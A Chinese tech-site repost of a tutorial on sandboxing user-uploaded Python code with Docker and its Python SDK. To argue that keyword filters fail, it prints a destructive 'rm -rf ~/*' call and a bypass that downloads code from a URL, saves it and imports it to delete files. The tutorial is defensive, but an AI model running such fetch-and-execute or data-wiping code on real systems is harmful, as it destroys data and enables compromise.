当前位置:首页 > 科技  > 软件

一日一技:如何安全运行别人上传的Python代码?

来源: 责编: 时间:2023-10-29 21:45:48 428观看
导读写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。Xv028资讯网——每日最新资讯28at.com

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。Xv028资讯网——每日最新资讯28at.com

import osos.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?Xv028资讯网——每日最新资讯28at.com

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?Xv028资讯网——每日最新资讯28at.com

import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f:    f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:Xv028资讯网——每日最新资讯28at.com

import osdef delete_all():    os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。Xv028资讯网——每日最新资讯28at.com

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。Xv028资讯网——每日最新资讯28at.com

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。Xv028资讯网——每日最新资讯28at.com

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。Xv028资讯网——每日最新资讯28at.com

显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。Xv028资讯网——每日最新资讯28at.com

首先,确保你的服务器上面已经有Docker,并且正在运行。接下来,安装Docker SDK:Xv028资讯网——每日最新资讯28at.com

pip install docker

假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面,那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:Xv028资讯网——每日最新资讯28at.com

from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app

当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。Xv028资讯网——每日最新资讯28at.com

接下来,我们开始构建镜像并运行代码:Xv028资讯网——每日最新资讯28at.com

import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:Xv028资讯网——每日最新资讯28at.com

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。Xv028资讯网——每日最新资讯28at.com

关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]Xv028资讯网——每日最新资讯28at.com

参考资料

[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-pythonXv028资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-15610-0.html一日一技:如何安全运行别人上传的Python代码?

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: 多模态LLM幻觉问题降低30%!业内首个“啄木鸟”免重训方法诞生

下一篇: 用示例和应用程序了解必要的Golang库

标签:
  • 热门焦点
  • Redmi Pad评测:红米充满野心的一次尝试

    从Note系列到K系列,从蓝牙耳机到笔记本电脑,红米不知不觉之间也已经形成了自己颇有竞争力的产品体系,在中端和次旗舰市场上甚至要比小米新机的表现来得更好,正所谓“大丈夫生居
  • 十个简单但很有用的Python装饰器

    装饰器(Decorators)是Python中一种强大而灵活的功能,用于修改或增强函数或类的行为。装饰器本质上是一个函数,它接受另一个函数或类作为参数,并返回一个新的函数或类。它们通常用
  • 如何通过Python线程池实现异步编程?

    线程池的概念和基本原理线程池是一种并发处理机制,它可以在程序启动时创建一组线程,并将它们置于等待任务的状态。当任务到达时,线程池中的某个线程会被唤醒并执行任务,执行完任
  • 从零到英雄:高并发与性能优化的神奇之旅

    作者 | 波哥审校 | 重楼作为公司的架构师或者程序员,你是否曾经为公司的系统在面对高并发和性能瓶颈时感到手足无措或者焦头烂额呢?笔者在出道那会为此是吃尽了苦头的,不过也得
  • 电视息屏休眠仍有网络上传 爱奇艺被质疑“薅消费者羊毛”

    记者丨宁晓敏 见习生丨汗青出品丨鳌头财经(theSankei) 前不久,爱奇艺发布了一份亮眼的一季报,不仅营收和会员营收创造历史最佳表现,其运营利润也连续6个月实现增长。自去年年初
  • 梁柱接棒两年,腾讯音乐闯出新路子

    文丨田静 出品丨牛刀财经(niudaocaijing)7月5日,企鹅FM发布官方公告称由于业务调整,将于9月6日正式停止运营,这意味着腾讯音乐长音频业务走向消亡。腾讯在长音频领域还在摸索。为
  • 一条抖音4亿人围观 ! 这家MCN比无忧传媒还野

    作者:Hiu 来源:互联网品牌官01 擦边少女空降热搜,幕后推手曝光被网友誉为&ldquo;纯欲天花板&rdquo;的女网红井川里予,近期因为一组哥特风照片登上热搜,引发了一场互联网世界关于
  • 三星Galaxy Z Fold5今日亮相:厚度缩减但仍略显厚重

    据官方此前宣布,三星将于7月26日也就是今天在韩国首尔举办Unpacked活动,届时将带来带来包括Galaxy Buds 3、Galaxy Watch 6、Galaxy Tab S9、Galaxy
  • 回归OPPO两年,一加赢了销量,输了品牌

    成为OPPO旗下主打性能的先锋品牌后,一加屡创佳绩。今年618期间,一加手机全渠道销量同比增长362%,凭借一加 11、一加 Ace 2、一加 Ace 2V三款爆品,一加
Top